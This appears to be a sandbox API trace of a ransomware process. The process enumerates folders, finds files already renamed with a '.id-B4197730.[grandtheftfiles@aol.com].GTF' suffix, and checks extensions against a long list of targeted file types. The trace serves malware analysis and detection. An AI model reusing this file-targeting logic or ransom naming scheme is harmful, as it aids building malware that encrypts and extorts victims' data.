	[0062.391] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b7df44d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b7df44d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b806c47, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 0
	[0062.391] FindClose (in: hFindFile=0x811c48 | out: hFindFile=0x811c48) returned 1
	[0062.391] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.391] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0062.391] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.391] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0062.406] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.406] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 1
	[0062.406] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 0
	[0062.406] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0062.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0062.406] FindNextFileW (in: hFindFile=0x811bc8, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0062.406] FindClose (in: hFindFile=0x811bc8 | out: hFindFile=0x811bc8) returned 1
	[0062.406] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0062.643] FindNextFileW (in: hFindFile=0x811908, lpFindFileData=0x3a1fcf8 | out: lpFindFileData=0x3a1fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0062.643] FindNextFileW (in: hFindFile=0x811908, lpFindFileData=0x3a1fcf8 | out: lpFindFileData=0x3a1fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0062.643] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0062.643] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1
	[0062.643] lstrlenW (lpString="588bce7c90097ed212") returned 18
	[0062.643] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1
	[0062.643] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e70050
	[0062.644] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0062.644] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x811c48
	[0062.644] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0062.644] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0062.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0062.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1
	[0062.644] lstrlenW (lpString="1025") returned 4
	[0062.644] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1
	[0062.644] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e80058
	[0062.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0062.644] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811a48
	[0062.644] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.644] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c75ea12, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c75ea12, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c75ea12, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0062.644] lstrlenW (lpString="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF") returned 50
	[0062.644] lstrlenW (lpString=".1cd") returned 4
	[0062.644] lstrcmpiW (lpString1=".1cd", lpString2=".GTF") returned -1
	[0062.644] lstrlenW (lpString=".3ds") returned 4
	[0062.644] lstrcmpiW (lpString1=".3ds", lpString2=".GTF") returned -1
	[0062.644] lstrlenW (lpString=".3fr") returned 4
	[0062.644] lstrcmpiW (lpString1=".3fr", lpString2=".GTF") returned -1
	[0062.644] lstrlenW (lpString=".3g2") returned 4
	[0062.644] lstrcmpiW (lpString1=".3g2", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".3gp") returned 4
	[0062.645] lstrcmpiW (lpString1=".3gp", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".7z") returned 3
	[0062.645] lstrcmpiW (lpString1=".7z", lpString2="GTF") returned -1
	[0062.645] lstrlenW (lpString=".accda") returned 6
	[0062.645] lstrcmpiW (lpString1=".accda", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".accdb") returned 6
	[0062.645] lstrcmpiW (lpString1=".accdb", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".accdc") returned 6
	[0062.645] lstrcmpiW (lpString1=".accdc", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".accde") returned 6
	[0062.645] lstrcmpiW (lpString1=".accde", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".accdt") returned 6
	[0062.645] lstrcmpiW (lpString1=".accdt", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".accdw") returned 6
	[0062.645] lstrcmpiW (lpString1=".accdw", lpString2="m].GTF") returned -1
	[0062.645] lstrlenW (lpString=".adb") returned 4
	[0062.645] lstrcmpiW (lpString1=".adb", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".adp") returned 4
	[0062.645] lstrcmpiW (lpString1=".adp", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai") returned 3
	[0062.645] lstrcmpiW (lpString1=".ai", lpString2="GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai3") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai3", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai4") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai4", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai5") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai5", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai6") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai6", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai7") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai7", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".ai8") returned 4
	[0062.645] lstrcmpiW (lpString1=".ai8", lpString2=".GTF") returned -1
	[0062.645] lstrlenW (lpString=".anim") returned 5
	[0062.645] lstrcmpiW (lpString1=".anim", lpString2="].GTF") returned -1
	[0062.645] lstrlenW (lpString=".arw") returned 4
	[0062.645] lstrcmpiW (lpString1=".arw", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".as") returned 3
	[0062.646] lstrcmpiW (lpString1=".as", lpString2="GTF") returned -1
	[0062.646] lstrlenW (lpString=".asa") returned 4
	[0062.646] lstrcmpiW (lpString1=".asa", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".asc") returned 4
	[0062.646] lstrcmpiW (lpString1=".asc", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".ascx") returned 5
	[0062.646] lstrcmpiW (lpString1=".ascx", lpString2="].GTF") returned -1
	[0062.646] lstrlenW (lpString=".asm") returned 4
	[0062.646] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".asmx") returned 5
	[0062.646] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0062.646] lstrlenW (lpString=".asp") returned 4
	[0062.646] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".aspx") returned 5
	[0062.646] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0062.646] lstrlenW (lpString=".asr") returned 4
	[0062.646] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".asx") returned 4
	[0062.646] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".avi") returned 4
	[0062.646] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".avs") returned 4
	[0062.646] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".backup") returned 7
	[0062.646] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0062.646] lstrlenW (lpString=".bak") returned 4
	[0062.646] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".bay") returned 4
	[0062.646] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".bd") returned 3
	[0062.646] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0062.646] lstrlenW (lpString=".bin") returned 4
	[0062.646] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0062.646] lstrlenW (lpString=".bmp") returned 4
	[0062.646] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".bz2") returned 4
	[0062.647] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".c") returned 2
	[0062.647] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0062.647] lstrlenW (lpString=".cdr") returned 4
	[0062.647] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cer") returned 4
	[0062.647] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cf") returned 3
	[0062.647] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0062.647] lstrlenW (lpString=".cfc") returned 4
	[0062.647] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cfm") returned 4
	[0062.647] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cfml") returned 5
	[0062.647] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0062.647] lstrlenW (lpString=".cfu") returned 4
	[0062.647] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".chm") returned 4
	[0062.647] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cin") returned 4
	[0062.647] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".class") returned 6
	[0062.647] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0062.647] lstrlenW (lpString=".clx") returned 4
	[0062.647] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".config") returned 7
	[0062.647] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0062.647] lstrlenW (lpString=".cpp") returned 4
	[0062.647] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cr2") returned 4
	[0062.647] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".crt") returned 4
	[0062.647] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".crw") returned 4
	[0062.647] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0062.647] lstrlenW (lpString=".cs") returned 3
	[0062.647] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0062.648] lstrlenW (lpString=".css") returned 4
	[0062.648] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".csv") returned 4
	[0062.648] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".cub") returned 4
	[0062.648] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dae") returned 4
	[0062.648] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dat") returned 4
	[0062.648] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".db") returned 3
	[0062.648] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0062.648] lstrlenW (lpString=".dbf") returned 4
	[0062.648] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dbx") returned 4
	[0062.648] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dc3") returned 4
	[0062.648] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dcm") returned 4
	[0062.648] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dcr") returned 4
	[0062.648] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".der") returned 4
	[0062.648] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dib") returned 4
	[0062.648] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dic") returned 4
	[0062.648] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".dif") returned 4
	[0062.648] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".divx") returned 5
	[0062.648] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0062.648] lstrlenW (lpString=".djvu") returned 5
	[0062.648] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0062.648] lstrlenW (lpString=".dng") returned 4
	[0062.648] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0062.648] lstrlenW (lpString=".doc") returned 4
	[0062.648] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".docm") returned 5
	[0062.649] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0062.649] lstrlenW (lpString=".docx") returned 5
	[0062.649] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0062.649] lstrlenW (lpString=".dot") returned 4
	[0062.649] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dotm") returned 5
	[0062.649] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0062.649] lstrlenW (lpString=".dotx") returned 5
	[0062.649] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0062.649] lstrlenW (lpString=".dpx") returned 4
	[0062.649] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dqy") returned 4
	[0062.649] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dsn") returned 4
	[0062.649] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dt") returned 3
	[0062.649] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0062.649] lstrlenW (lpString=".dtd") returned 4
	[0062.649] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dwg") returned 4
	[0062.649] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dwt") returned 4
	[0062.649] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".dx") returned 3
	[0062.649] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0062.649] lstrlenW (lpString=".dxf") returned 4
	[0062.649] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".edml") returned 5
	[0062.649] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0062.649] lstrlenW (lpString=".efd") returned 4
	[0062.649] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".elf") returned 4
	[0062.649] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".emf") returned 4
	[0062.649] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0062.649] lstrlenW (lpString=".emz") returned 4
	[0062.650] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".epf") returned 4
	[0062.650] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".eps") returned 4
	[0062.650] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".epsf") returned 5
	[0062.650] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0062.650] lstrlenW (lpString=".epsp") returned 5
	[0062.650] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0062.650] lstrlenW (lpString=".erf") returned 4
	[0062.650] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".exr") returned 4
	[0062.650] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".f4v") returned 4
	[0062.650] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".fido") returned 5
	[0062.650] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0062.650] lstrlenW (lpString=".flm") returned 4
	[0062.650] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".flv") returned 4
	[0062.650] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".frm") returned 4
	[0062.650] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".fxg") returned 4
	[0062.650] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".geo") returned 4
	[0062.650] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".gif") returned 4
	[0062.650] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".grs") returned 4
	[0062.650] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0062.650] lstrlenW (lpString=".gz") returned 3
	[0062.650] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0062.650] lstrlenW (lpString=".h") returned 2
	[0062.650] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0062.650] lstrlenW (lpString=".hdr") returned 4
	[0062.650] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".hpp") returned 4
	[0062.651] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".hta") returned 4
	[0062.651] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".htc") returned 4
	[0062.651] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".htm") returned 4
	[0062.651] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".html") returned 5
	[0062.651] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0062.651] lstrlenW (lpString=".icb") returned 4
	[0062.651] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".ics") returned 4
	[0062.651] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".iff") returned 4
	[0062.651] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".inc") returned 4
	[0062.651] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".indd") returned 5
	[0062.651] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0062.651] lstrlenW (lpString=".ini") returned 4
	[0062.651] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".iqy") returned 4
	[0062.651] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".j2c") returned 4
	[0062.651] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".j2k") returned 4
	[0062.651] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".java") returned 5
	[0062.651] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0062.651] lstrlenW (lpString=".jp2") returned 4
	[0062.651] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0062.651] lstrlenW (lpString=".jpc") returned 4
